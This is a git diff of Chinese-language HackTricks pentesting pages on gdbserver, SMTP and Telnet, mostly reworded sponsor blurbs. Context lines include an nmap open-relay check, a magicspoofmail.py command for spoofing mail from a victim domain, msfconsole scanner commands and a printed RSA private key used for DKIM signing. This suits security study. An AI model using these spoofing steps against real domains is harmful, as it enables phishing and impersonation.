* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估与渗透测试设置**。从任何地方运行完整的渗透测试,提供 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## **基本信息**
|
## **基本信息**
|
||||||
|
|
||||||
**gdbserver** 是一个可以远程调试程序的工具。它与需要调试的程序在同一系统上运行,称为“目标”。这种设置允许 **GNU 调试器** 从不同的机器“主机”连接,主机上存储着源代码和被调试程序的二进制副本。**gdbserver** 和调试器之间的连接可以通过 TCP 或串行线进行,允许灵活的调试设置。
|
**gdbserver** 是一个可以远程调试程序的工具。它与需要调试的程序在同一系统上运行,称为“目标”。这种设置允许 **GNU 调试器** 从不同的机器“主机”连接,主机上存储着源代码和调试程序的二进制副本。**gdbserver** 和调试器之间的连接可以通过 TCP 或串行线路进行,从而实现灵活的调试设置。
|
||||||
|
|
||||||
您可以让 **gdbserver 在任何端口上监听**,目前 **nmap 无法识别该服务**。
|
您可以让 **gdbserver 在任何端口上监听**,而此时 **nmap 无法识别该服务**。
|
||||||
|
|
||||||
## 利用
|
## 利用
|
||||||
|
|
||||||
|
@ -198,21 +200,23 @@ RemoteCmd()
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,提供20多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取shell并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习和实践AWS黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习和实践GCP黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持HackTricks</summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -17,13 +17,15 @@
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估与渗透测试设置**。从任何地方运行完整的渗透测试,提供 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## **基本信息**
|
## **基本信息**
|
||||||
|
|
||||||
**简单邮件传输协议 (SMTP)** 是在 TCP/IP 套件中用于 **发送和接收电子邮件** 的协议。由于其在接收方排队消息的局限性,SMTP 通常与 **POP3 或 IMAP** 一起使用。这些附加协议使用户能够将消息存储在服务器邮箱中,并定期下载它们。
|
**简单邮件传输协议 (SMTP)** 是在 TCP/IP 套件中用于 **发送和接收电子邮件** 的协议。由于其在接收方排队消息的局限性,SMTP 通常与 **POP3 或 IMAP** 一起使用。这些附加协议使用户能够将消息存储在服务器邮箱中并定期下载。
|
||||||
|
|
||||||
在实践中,**电子邮件程序** 通常使用 **SMTP 发送电子邮件**,而使用 **POP3 或 IMAP 接收** 它们。在基于 Unix 的系统中,**sendmail** 是最常用于电子邮件的 SMTP 服务器。商业软件包 Sendmail 包含一个 POP3 服务器。此外,**Microsoft Exchange** 提供一个 SMTP 服务器,并提供包括 POP3 支持的选项。
|
在实践中,**电子邮件程序** 通常使用 **SMTP 发送电子邮件**,而使用 **POP3 或 IMAP 接收** 它们。在基于 Unix 的系统中,**sendmail** 是最常用于电子邮件的 SMTP 服务器。商业软件包 Sendmail 包含一个 POP3 服务器。此外,**Microsoft Exchange** 提供一个 SMTP 服务器,并提供包括 POP3 支持的选项。
|
||||||
|
|
||||||
|
@ -169,13 +171,15 @@ Nmap: nmap --script smtp-enum-users <IP>
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,使用20多个工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取shell并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## DSN 报告
|
## DSN报告
|
||||||
|
|
||||||
**投递状态通知报告**:如果您向一个组织发送一封**电子邮件**到一个**无效地址**,该组织会通知您该地址无效,并**回复您一封邮件**。**返回邮件的头部**将**包含**可能的**敏感信息**(如与报告交互的邮件服务的IP地址或防病毒软件信息)。
|
**投递状态通知报告**:如果您向一个组织发送电子邮件到一个**无效地址**,该组织将通知您该地址无效,并**回复您一封邮件**。**返回邮件的头部**将**包含**可能的**敏感信息**(如与报告交互的邮件服务的IP地址或防病毒软件信息)。
|
||||||
|
|
||||||
## [命令](smtp-commands.md)
|
## [命令](smtp-commands.md)
|
||||||
|
|
||||||
|
@ -244,7 +248,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
|
||||||
|
|
||||||
## SMTP Smuggling
|
## SMTP Smuggling
|
||||||
|
|
||||||
SMTP Smuggling 漏洞允许绕过所有 SMTP 保护(有关保护的更多信息,请查看下一部分)。有关 SMTP Smuggling 的更多信息,请查看:
|
SMTP Smuggling 漏洞允许绕过所有 SMTP 保护(有关保护的更多信息,请查看下一节)。有关 SMTP Smuggling 的更多信息,请查看:
|
||||||
|
|
||||||
{% content-ref url="smtp-smuggling.md" %}
|
{% content-ref url="smtp-smuggling.md" %}
|
||||||
[smtp-smuggling.md](smtp-smuggling.md)
|
[smtp-smuggling.md](smtp-smuggling.md)
|
||||||
|
@ -293,7 +297,7 @@ SPF [在 2014 年被“弃用”](https://aws.amazon.com/premiumsupport/knowledg
|
||||||
* **`~`**:表示软失败,作为中立和失败之间的中间状态。符合此结果的电子邮件通常被接受,但会相应标记。
|
* **`~`**:表示软失败,作为中立和失败之间的中间状态。符合此结果的电子邮件通常被接受,但会相应标记。
|
||||||
* **`-`**:表示失败,建议电子邮件应被直接拒绝。
|
* **`-`**:表示失败,建议电子邮件应被直接拒绝。
|
||||||
|
|
||||||
在即将到来的示例中,**google.com 的 SPF 策略** 被说明。请注意在第一个 SPF 策略中包含来自不同域的 SPF 策略:
|
在接下来的示例中,**google.com 的 SPF 策略** 被说明。请注意在第一个 SPF 策略中包含来自不同域的 SPF 策略:
|
||||||
```shell-session
|
```shell-session
|
||||||
dig txt google.com | grep spf
|
dig txt google.com | grep spf
|
||||||
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
|
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
|
||||||
|
@ -312,7 +316,7 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
|
||||||
dig txt _netblocks3.google.com | grep spf
|
dig txt _netblocks3.google.com | grep spf
|
||||||
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
||||||
```
|
```
|
||||||
传统上,可以伪造任何没有正确/任何 SPF 记录的域名。**如今**,如果**电子邮件**来自**没有有效 SPF 记录的域名**,则可能会**自动被拒绝/标记为不可信**。
|
传统上,可以伪造任何没有正确/任何 SPF 记录的域名。**如今**,如果 **电子邮件** 来自 **没有有效 SPF 记录的域名**,则可能会 **自动被拒绝/标记为不可信**。
|
||||||
|
|
||||||
要检查域的 SPF,您可以使用在线工具,例如:[https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
要检查域的 SPF,您可以使用在线工具,例如:[https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
||||||
|
|
||||||
|
@ -354,8 +358,8 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
||||||
| pct | 受过滤消息的百分比 | pct=20 |
|
| pct | 受过滤消息的百分比 | pct=20 |
|
||||||
| ruf | 法医报告的报告 URI | ruf=mailto:authfail@example.com |
|
| ruf | 法医报告的报告 URI | ruf=mailto:authfail@example.com |
|
||||||
| rua | 汇总报告的报告 URI | rua=mailto:aggrep@example.com |
|
| rua | 汇总报告的报告 URI | rua=mailto:aggrep@example.com |
|
||||||
| p | 组织域的政策 | p=quarantine |
|
| p | 组织域的策略 | p=quarantine |
|
||||||
| sp | 组织域子域的政策 | sp=reject |
|
| sp | 组织域子域的策略 | sp=reject |
|
||||||
| adkim | DKIM 的对齐模式 | adkim=s |
|
| adkim | DKIM 的对齐模式 | adkim=s |
|
||||||
| aspf | SPF 的对齐模式 | aspf=r |
|
| aspf | SPF 的对齐模式 | aspf=r |
|
||||||
|
|
||||||
|
@ -363,11 +367,11 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
||||||
|
|
||||||
**来自** [**这里**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
**来自** [**这里**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
||||||
您需要为每个希望发送邮件的子域拥有单独的 SPF 记录。\
|
您需要为每个希望发送邮件的子域拥有单独的 SPF 记录。\
|
||||||
以下内容最初发布在 openspf.org 上,该网站曾是此类信息的极好资源。
|
以下内容最初发布在 openspf.org,该网站曾是此类信息的极好资源。
|
||||||
|
|
||||||
> 恶魔问题:子域怎么办?
|
> 恶魔问题:子域怎么办?
|
||||||
>
|
>
|
||||||
> 如果我从 pielovers.demon.co.uk 收到邮件,而 pielovers 没有 SPF 数据,我应该回退一级并测试 demon.co.uk 的 SPF 吗?不应该。Demon 的每个子域都是不同的客户,每个客户可能有自己的政策。Demon 的政策默认适用于所有客户是没有意义的;如果 Demon 想这样做,可以为每个子域设置 SPF 记录。
|
> 如果我从 pielovers.demon.co.uk 收到邮件,而 pielovers 没有 SPF 数据,我应该回到上一级并测试 demon.co.uk 的 SPF 吗?不应该。Demon 的每个子域都是不同的客户,每个客户可能有自己的政策。Demon 的政策默认适用于所有客户是没有意义的;如果 Demon 想这样做,可以为每个子域设置 SPF 记录。
|
||||||
>
|
>
|
||||||
> 因此,给 SPF 发布者的建议是:您应该为每个具有 A 或 MX 记录的子域或主机名添加 SPF 记录。
|
> 因此,给 SPF 发布者的建议是:您应该为每个具有 A 或 MX 记录的子域或主机名添加 SPF 记录。
|
||||||
>
|
>
|
||||||
|
@ -383,7 +387,7 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
||||||
```bash
|
```bash
|
||||||
mynetworks = 0.0.0.0/0
|
mynetworks = 0.0.0.0/0
|
||||||
```
|
```
|
||||||
为了检查邮件服务器是否是开放转发(这意味着它可以从任何外部来源转发电子邮件),通常使用 `nmap` 工具。它包含一个专门用于测试的脚本。在服务器上进行详细扫描的命令(例如,IP 为 10.10.10.10)在端口 25 使用 `nmap` 是:
|
为了检查邮件服务器是否是开放转发(这意味着它可以从任何外部来源转发电子邮件),通常使用 `nmap` 工具。它包括一个专门用于测试的脚本。使用 `nmap` 在端口 25 上对服务器(例如,IP 为 10.10.10.10)进行详细扫描的命令是:
|
||||||
```bash
|
```bash
|
||||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||||
```
|
```
|
||||||
|
@ -409,7 +413,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TE
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
如果您在使用 dkim python lib 解析密钥时遇到任何 **错误**,请随意使用以下内容。\
|
如果您在使用 dkim python lib 解析密钥时遇到任何 **错误**,请随意使用以下内容。\
|
||||||
**注意**:这只是一个临时解决方案,用于在某些情况下快速检查,其中 openssl 私钥 **无法被 dkim 解析**。
|
**注意**:这只是一个临时解决方案,用于在某些情况下快速检查,其中由于某种原因 openssl 私钥 **无法被 dkim 解析**。
|
||||||
```
|
```
|
||||||
-----BEGIN RSA PRIVATE KEY-----
|
-----BEGIN RSA PRIVATE KEY-----
|
||||||
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
|
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
|
||||||
|
@ -429,7 +433,7 @@ K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
|
||||||
```
|
```
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**或者你可以手动完成:**
|
**或者你可以手动执行:**
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="PHP" %}
|
{% tab title="PHP" %}
|
||||||
|
@ -527,7 +531,7 @@ s.sendmail(sender, [destination], msg_data)
|
||||||
sendmail.cf
|
sendmail.cf
|
||||||
submit.cf
|
submit.cf
|
||||||
```
|
```
|
||||||
## 参考
|
## 参考文献
|
||||||
|
|
||||||
* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
|
* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
|
||||||
* [https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/)
|
* [https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/)
|
||||||
|
@ -585,7 +589,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,提供20多个工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取shell并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,找到让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -598,8 +604,8 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
|
||||||
<summary>支持HackTricks</summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -9,7 +9,7 @@
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -17,20 +17,22 @@
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,提供 20 多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
**命令来自:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
|
**命令来自:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
|
||||||
|
|
||||||
**HELO**\
|
**HELO**\
|
||||||
这是第一个 SMTP 命令:它开始对话,识别发送者服务器,通常后面跟着其域名。
|
这是第一个 SMTP 命令:它开始对话,识别发送方服务器,通常后面跟着其域名。
|
||||||
|
|
||||||
**EHLO**\
|
**EHLO**\
|
||||||
开始对话的替代命令,表明服务器正在使用扩展 SMTP 协议。
|
开始对话的替代命令,表明服务器正在使用扩展 SMTP 协议。
|
||||||
|
|
||||||
**MAIL FROM**\
|
**MAIL FROM**\
|
||||||
通过此 SMTP 命令,操作开始:发送者在“发件人”字段中声明源电子邮件地址,并实际开始电子邮件传输。
|
通过此 SMTP 命令,操作开始:发送方在“发件人”字段中声明源电子邮件地址,并实际开始电子邮件传输。
|
||||||
|
|
||||||
**RCPT TO**\
|
**RCPT TO**\
|
||||||
它识别电子邮件的收件人;如果有多个,命令会逐个地址重复。
|
它识别电子邮件的收件人;如果有多个,命令会逐个地址重复。
|
||||||
|
@ -64,7 +66,9 @@
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,提供 20 多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -77,7 +81,7 @@
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -17,13 +17,15 @@
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**即时可用的漏洞评估与渗透测试设置**。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## **基本信息**
|
## **基本信息**
|
||||||
|
|
||||||
Telnet 是一种网络协议,允许用户以不安全的方式通过网络访问计算机。
|
Telnet 是一种网络协议,提供用户通过网络访问计算机的非安全方式。
|
||||||
|
|
||||||
**默认端口:** 23
|
**默认端口:** 23
|
||||||
```
|
```
|
||||||
|
@ -87,7 +89,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
